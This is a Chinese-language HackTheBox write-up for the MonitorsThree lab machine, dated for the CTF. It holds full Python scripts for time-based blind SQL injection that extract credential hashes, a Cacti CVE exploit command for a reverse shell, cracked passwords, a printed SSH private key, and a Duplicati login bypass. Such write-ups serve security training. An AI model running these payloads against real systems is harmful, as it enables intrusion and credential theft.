> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md).

# MonitorsThree HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/622>" %}

{% hint style="warning" %}
**技能：**

* 子域枚举
* SQLI - 手动基于时间的盲注（Python 脚本）
* 破解哈希
* Cacti 利用（CVE-2024-25642）- 恶意包导入
* 信息泄露
* 内部服务利用 - Duplicati
* 滥用 Duplicati - 使用服务器口令绕过登录认证
* Duplicati - 创建备份以特权读取和写入文件（提权）
  {% endhint %}

## 侦察 <a href="#reconnaissance" id="reconnaissance"></a>

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/e195236d10f2c43dfb31fd1b07dedf42a8baee18" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/86a27508ed3661e6d6ad3a8b0b804e45d79ec098" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.30 -oG allPorts
```

<figure><img src="/files/4a6ff50ba210c56a08bf8c090f373f61055f335b" alt="" width="563"><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将它们复制到剪贴板。

<figure><img src="/files/12ebb9d08f87c616ac4955f1eb525cffda465597" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p80,22 10.10.11.30 -oN targeted
```

<figure><img src="/files/80b3b249e337b04b5864affbcf77d0562f2800b3" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件

<figure><img src="/files/e15f60667c89f70a78bd285bbb11e4f1075d00d1" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/df924588168992fdcbf1f20914521684837b7672" alt=""><figcaption></figcaption></figure>

### 目录列表：

**仅搜索** 目录

```bash
gobuster dir -u http://monitorsthree.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
```

<figure><img src="/files/4ea64b4497730b8deb02c2c379e0b79d932051c4" alt=""><figcaption></figcaption></figure>

/*/* 在 admin 目录中搜索具有特定扩展名（PHP、HTML、TXT）的文件：/*/*

```bash
gobuster dir -u http://monitorsthree.htb/admin/ -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -t 50 -b '' -x html,php,txt -s 200
```

我们找到了 `db.php` 文件，但其中不包含任何数据。

<figure><img src="/files/e318ef800bfd1cccf4b9a302c875bf9ec716cf7c" alt=""><figcaption></figcaption></figure>

## SQL 注入

#### 漏洞检测

我们在“忘记密码”功能中识别出一个 SQL 漏洞。使用以下载荷来确认该漏洞：

```sql
admin' or 1=1-- -
```

<figure><img src="/files/d9c4181daa9745cbb94fbbed5015674c6e635832" alt=""><figcaption></figcaption></figure>

#### 通过基于时间的攻击确认漏洞

为了确认该漏洞，我们使用了基于时间的 SQL 攻击：

```sql
admin' and sleep(5)-- -
```

响应耗时 5 秒，因此确认了漏洞。

<figure><img src="/files/93a601d1560f6cfe71d963c00b8f907fcf46cfaa" alt=""><figcaption></figcaption></figure>

## **SQL 注入 - 基于时间**

#### 使用 Python 脚本自动化利用

我们开发了一个 Python 脚本，用于通过 SQL 注入自动提取数据。该脚本提取了数据库名称、表名、列，最后提取了用户名和密码等敏感数据。

### 数据库：

**提取数据库名称的脚本示例：**

```bash
python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1
```

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# 日志配置
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info("开始 SQL 注入攻击...")
    
    for position in range(1, 100):
        character_found = False  # 用于检查是否找到字符的标志
        
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            
            logger.debug(f"测试：{payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"请求失败：{e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"截至目前提取的数据：{extracted_data}")
                character_found = True  # 已找到一个字符
                break
        
        # 如果该位置没有找到字符，则停止循环
        if not character_found:
            logger.info(f"在位置 {position} 未找到字符。结束提取。")
            break
    
    logger.info("SQL 注入完成！")
    logger.info(f"最终提取的数据：{extracted_data}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="执行基于时间的 SQL 注入攻击。")
    parser.add_argument("--url", required=True, help="SQL 注入的目标 URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQL 注入的延迟时间")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **数据库名称**: `monitorsthree_db`

<figure><img src="/files/43094c2e336409fed7997a90949461dc497e61f7" alt=""><figcaption></figcaption></figure>

### **数据库：**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# 日志配置
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"正在 offset {offset} 处提取数据库名称...")
    
    for position in range(1, 100):
        character_found = False  # 用于检查是否找到字符的标志
        
        for character in characters:
            # 使用所有必需变量格式化 SQL 请求
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"测试：{payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"请求失败：{e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"截至目前提取的数据：{extracted_data}")
                character_found = True  # 已找到一个字符
                break
        
        # 如果该位置没有找到字符，则停止循环
        if not character_found:
            logger.info(f"在位置 {position} 未找到字符。结束提取。")
            break
    
    return extracted_data

def sqli(target_url, delay=1):
    # 请求提取数据库名称
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    databases = []
    offset = 0
    
    while True:
        database_name = extract_data(target_url, delay, query_template, offset)
        
        if not database_name:
            logger.info("未找到更多数据库。")
            break
        
        databases.append(database_name)
        logger.info(f"找到数据库：{database_name}")
        offset += 1
    
    logger.info("SQL 注入完成！")
    logger.info(f"数据库列表：{databases}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="执行基于时间的 SQL 注入攻击。")
    parser.add_argument("--url", required=True, help="SQL 注入的目标 URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQL 注入的延迟时间")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

#### **information/\_schema, monitorthree/\_db**

<figure><img src="/files/699f0df1d5274b71f636a3d731e6ca877c93c539" alt=""><figcaption></figcaption></figure>

### **表：**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# 日志配置
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"正在 offset {offset} 处提取表名...")
    
    for position in range(1, 100):
        character_found = False  # 用于检查是否找到字符的标志
        
        for character in characters:
            # 使用所有必需变量格式化 SQL 请求
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"测试：{payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"请求失败：{e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"截至目前提取的数据：{extracted_data}")
                character_found = True  # 已找到一个字符
                break
        
        # 如果该位置没有找到字符，则停止循环
        if not character_found:
            logger.info(f"在位置 {position} 未找到字符。结束提取。")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # 请求从 `monitorsthree_db` 数据库中提取表名
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    tables = []
    offset = 0
    
    while True:
        table_name = extract_data(target_url, delay, query_template, offset)
        
        if not table_name:
            logger.info("未找到更多表。")
            break
        
        tables.append(table_name)
        logger.info(f"找到表：{table_name}")
        offset += 1
    
    logger.info("SQL 注入完成！")
    logger.info(f"monitorsthree_db 中的表列表：{tables}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="执行基于时间的 SQL 注入攻击。")
    parser.add_argument("--url", required=True, help="SQL 注入的目标 URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQL 注入的延迟时间")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **表** : `invoices`, `customers`, `changelog`, `tasks`, `invoice_tasks`, `users`

<figure><img src="/files/9b54e95003980fa0c945feb0b22b60fd5243f79e" alt=""><figcaption></figcaption></figure>

### **列：**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# 日志配置
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"正在 offset {offset} 处提取列名...")
    
    for position in range(1, 100):
        character_found = False  # 用于检查是否找到字符的标志
        
        for character in characters:
            # 使用所有必需变量格式化 SQL 请求
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"测试：{payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"请求失败：{e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"截至目前提取的数据：{extracted_data}")
                character_found = True  # 已找到一个字符
                break
        
        # 如果该位置没有找到字符，则停止循环
        if not character_found:
            logger.info(f"在位置 {position} 未找到字符。结束提取。")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # 请求从 `users` 表中提取列名
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    columns = []
    offset = 0
    
    while True:
        column_name = extract_data(target_url, delay, query_template, offset)
        
        if not column_name:
            logger.info("未找到更多列。")
            break
        
        columns.append(column_name)
        logger.info(f"找到列：{column_name}")
        offset += 1
    
    logger.info("SQL 注入完成！")
    logger.info(f"表 'users' 中的列列表：{columns}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="执行基于时间的 SQL 注入攻击。")
    parser.add_argument("--url", required=True, help="SQL 注入的目标 URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQL 注入的延迟时间")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **中的列 `users` 表**: `id`, `username`, `email`, `密码`, `name`, `position`, `dob`, `start_date`, `salary`

<figure><img src="/files/e39b744aa6494ebf353ab264ccd2bc1715c564f7" alt=""><figcaption></figcaption></figure>

### **已提取的数据**:

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# 日志配置
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"正在 offset {offset} 处提取数据...")
    
    for position in range(1, 100):
        character_found = False  # 用于检查是否找到字符的标志
        
        for character in characters:
            # 使用所有必需变量格式化 SQL 请求
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"测试：{payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"请求失败：{e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"截至目前提取的数据：{extracted_data}")
                character_found = True  # 已找到一个字符
                break
        
        # 如果该位置没有找到字符，则停止循环
        if not character_found:
            logger.info(f"在位置 {position} 未找到字符。结束提取。")
            break
    
    return extracted_data

def extract_credentials(target_url, delay=0.85):
    # 请求提取用户名
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    # 请求提取密码
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    credentials = []
    offset = 0
    
    while True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        
        if not username or not password:
            logger.info("未找到更多凭据。")
            break
        
        credentials.append((username, password))
        logger.info(f"找到凭据：{username}:{password}")
        offset += 1
    
    logger.info("SQL 注入完成！")
    logger.info(f"凭据列表：{credentials}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="执行基于时间的 SQL 注入攻击以提取凭据。")
    parser.add_argument("--url", required=True, help="SQL 注入的目标 URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQL 注入的延迟时间")
    
    args = parser.parse_args()
    
    extract_credentials(args.url, args.delay)
```

<figure><img src="/files/1b2d6f65d9b6ea49d196e7f34790311da416d210" alt=""><figcaption></figcaption></figure>

* `admin:31a181c8372e3afc59dab863430610e8`
* `mwatson:c585d01f2eb3e6e1073e92023088a3dd`
* `janderson:1e68b6eb86b45f6d92f8f292428f77ac`
* `dthompson:633b683cc128fe244b00f176c8a950f5`

## 密码破解

{% embed url="<https://crackstation.net/>" %}

我们使用了 **CrackStation** 来破解哈希密码。获得了以下凭据：

<figure><img src="/files/ab7e4d303e59f3975f10d9b80524d4b213ae8523" alt=""><figcaption></figcaption></figure>

**标识符：**

* 用户： `admin`
* 密码： `greencacti2001`

<figure><img src="/files/4cd98b165d2f2a5a35672eb2faef4edc2d89207f" alt=""><figcaption></figcaption></figure>

### /*/* 子域名列表：/*/*

使用 Gobuster 命令枚举子域名：

```bash
gobuster vhost -u http://monitorsthree.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
```

我们找到了 `cacti.monitorsthree.htb` 子域名。

<figure><img src="/files/bac699e91fdadca07fd55a02b3c9c83809a001a5" alt=""><figcaption></figcaption></figure>

我们将此条目添加到 `/etc/hosts`.

<figure><img src="/files/b9f7bc2db3e5170dfbd0dc749745443e4bf67759" alt=""><figcaption></figcaption></figure>

**访问 Cacti 连接面板：**

该子域名上可访问 Cacti 连接面板，版本 1.2.26。使用 `admin:greencacti2001` 凭据后，我们成功连接。

<figure><img src="/files/71003f6d4df91d2a759c4b1db96a981cf3b044c3" alt=""><figcaption></figcaption></figure>

## Cacti RCE 漏洞利用 <a href="#cacti-rce-vulnerability-exploitation" id="cacti-rce-vulnerability-exploitation"></a>

{% embed url="<https://github.com/5ma1l/CVE-2024-25641>" %}

为了利用 Cacti 的 NCE 漏洞，我们将修改一个 PHP 文件并运行一个操作脚本：

<figure><img src="/files/d849af06ef673fd25c8739b9d7555b48d98603af" alt=""><figcaption></figcaption></figure>

该脚本会创建一个包含 PHP 有效载荷的压缩文件，该文件将被注入到目标服务器，从而使我们获得一个反向 shell。

{% code overflow="wrap" fullWidth="false" %}

```bash
python3 exploit.py http://cacti.monitorsthree.htb/cacti/ admin greencacti2001 -p php/monkey.php
```

{% endcode %}

<div data-full-width="true"><figure><img src="/files/125cdceb0ee627936f69014b5611f8e91ec8c0c0" alt=""><figcaption></figcaption></figure></div>

## **权限提升：**

通过查看 `/var/www/html` Web 目录，我们在 `cacti` 文件夹中找到了数据库文件，包括位于 `config.php` 中的配置文件 `/var/www/html/cacti/include/config.php`.

摘自 `config.php`:

```php
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
```

<figure><img src="/files/96dbb83c32c8d2b2dd9f61b0378622ea6c682863" alt=""><figcaption></figcaption></figure>

然后我们列出 `user_auth` 表中的 `cacti` 数据库：

<figure><img src="/files/d88a60bf883c08510ba7adc922ca5266f742d298" alt=""><figcaption></figcaption></figure>

```sql
Select * from user_auth
```

<div data-full-width="true"><figure><img src="/files/ba99d8282dc4c281411e4473caa349df82d8c7df" alt=""><figcaption></figcaption></figure></div>

我们使用 `john` 用于破解恢复出的密码：

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

这揭示了 `marcus` 用户密码： `12345678910`.

<figure><img src="/files/5dc99c72c80d014b0fa355c6805a8c15ba0097f5" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="/files/4654fa363b4a86f1915cfd1a5c8eb4ea71680601" alt=""><figcaption></figcaption></figure>

在这一步之后，我们还获得了 `marcus` 用户 SSH 密钥：

<figure><img src="/files/248ff2c4740ae9a9cbcd7cc0f2298fef8430dc66" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```

我们将首先使用以下命令查看内部开放的端口：

```bash
netstat -nltp
```

<figure><img src="/files/a9762d2b4d900f845f2b64ac4fd5871a3d2f03ad" alt="" width="563"><figcaption></figcaption></figure>

我们将把内部端口 **8200** 从服务器转发到本地机器，以便通过浏览器访问。可以通过 SSH 使用以下命令进行转发：

```bash
ssh -i id_rsa -L 8200:127.0.0.1:8200 marcus@10.10.11.30 -N
```

## Duplicati 利用：

### 绕过 Duplicati 登录认证

{% embed url="<https://github.com/duplicati/duplicati/issues/5197>" %}

在分析目标机器时，发现了一个 **Duplicati** Web 门户。该门户有一个要求输入密码的认证面板。

<figure><img src="/files/5517427e720924e61e514964a56b4f1a7fffcebc" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Duplicati 是一款备份客户端，可将本地文件的加密、增量和压缩远程备份安全地存储到云存储服务和文件服务器上
{% endhint %}

通过查看系统，发现 Duplicati 配置目录位于 `/opt/duplicati`。一个名为 `Duplicati-server.sqlite` 的 SQLite 文件被识别为可能包含敏感信息。

<figure><img src="/files/525c4b042d6e512ed6d74c10a4415512b0f0a873" alt=""><figcaption></figcaption></figure>

#### 下载 SQLite 文件

为了分析该文件，我们使用 Python HTTP 服务器将其下载到本地机器：

```bash
python3 -m http.server 4444
```

```bash
wget http://10.10.11.30:4444/Duplicati-server.sqlite
```

<figure><img src="/files/e652c5af45692cf8da788234af82eacc31035963" alt=""><figcaption></figcaption></figure>

#### SQLite 文件分析

该文件使用 `sqlite3` 工具打开以查看其内容：

```bash
sqlite3 Duplicati-server.sqlite
```

列出了表，并选择了 `option` 表用于数据提取：

```sql
.tables
select * from option;
```

<figure><img src="/files/7de99d4dea69c717607fa7f850d15c01d27ebdf7" alt=""><figcaption></figcaption></figure>

| 键                                 | 值                                              |
| --------------------------------- | ---------------------------------------------- |
| `server-passphrase`               | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` |
| `server-passphrase-salt`          | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` |
| `server-passphrase-trayicon`      | `ce13157b-a06e-4b60-811d-60d294e8d0ae`         |
| `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` |

#### 密码短语转换

的值 `server-passphrase` 使用 Base64 编码。要解码并转换为十六进制格式，使用以下命令：

```bash
echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256
```

<figure><img src="/files/86c5b55691401fdd897a753262dc7c5f1f03571f" alt=""><figcaption></figcaption></figure>

#### 这得到了以下十六进制值：

```excel-formula
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
```

### 最终密码计算

为了生成最终密码，在浏览器控制台中执行了以下步骤：

**带盐口令定义**:

```javascript
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
```

### 使用 Burp Suite 拦截请求

我们拦截该请求，并发送到 do intercept -> answer to this request，然后点击 forward。

<figure><img src="/files/ffc2d8edb28494b8f990bdd05e059f086d102225" alt=""><figcaption></figcaption></figure>

拦截到一个 HTTP 请求，使用 **Burp Suite** 揭示了以下信息：

<figure><img src="/files/807a23aa3fa10ee1a6b4babebcc17c0cd761e471" alt=""><figcaption></figcaption></figure>

```json
{
  "Status": "OK",
  "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=",
  "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
```

字段 `Salt` 对应于值 `server-passphrase-salt` 从数据库中提取

**Nonce 密码计算：**

{% code overflow="wrap" %}

```javascript
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64);
```

{% endcode %}

**结果显示**:

```javascript
console.log(noncedpwd);
```

<figure><img src="/files/685a78c89997c0a2ed52c376a867c354652817ed" alt=""><figcaption></figcaption></figure>

生成的密码（`noncedpwd`）是：

`bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=`

#### 密码注入与操作

1. 复制并粘贴计算出的密码。
2. 使用 **Ctrl + U** 将其进行 URL 编码。

<figure><img src="/files/3a5b2a73f90ae007048934d60c64de6a34d11491" alt=""><figcaption></figcaption></figure>

3. 点击 **转发** 再次以完成操作。

### Duplicati 备份读取文件

<figure><img src="/files/330bbe97337febd4deab51073a8552c571fb260a" alt=""><figcaption></figcaption></figure>

既然我们已经访问了 **Duplicati 管理面板**，我们将创建一个新的备份，目标是外传 **SSH** 密钥。

<figure><img src="/files/02962d96a4e9c9e1fb1198040eebf0765d41d3c8" alt=""><figcaption></figcaption></figure>

**Docker 配置分析**/ 通过观察 `docker-compose.yml` 文件，我们发现文件存储在 **源** 主机系统的目录中，并挂载到容器内。

<figure><img src="/files/b58ca48ac6e525b5670cd452e322702d0ed3aa89" alt="" width="541"><figcaption></figcaption></figure>

**目标目录选择**/ 为确保能够访问敏感文件，我们将 **backup** 的目标设置到该目录，选择：

* **源文件**: `/source/home/marcus/`

<figure><img src="/files/1d3f01e4e571869137d9876886983811bb58c21d" alt="" width="563"><figcaption></figcaption></figure>

* **源数据：** `source/root/`

<figure><img src="/files/972d6b5c9b12dc7460aafa3da8538bc7c657e3e2" alt=""><figcaption></figcaption></figure>

**配置完成**

* 保存配置。

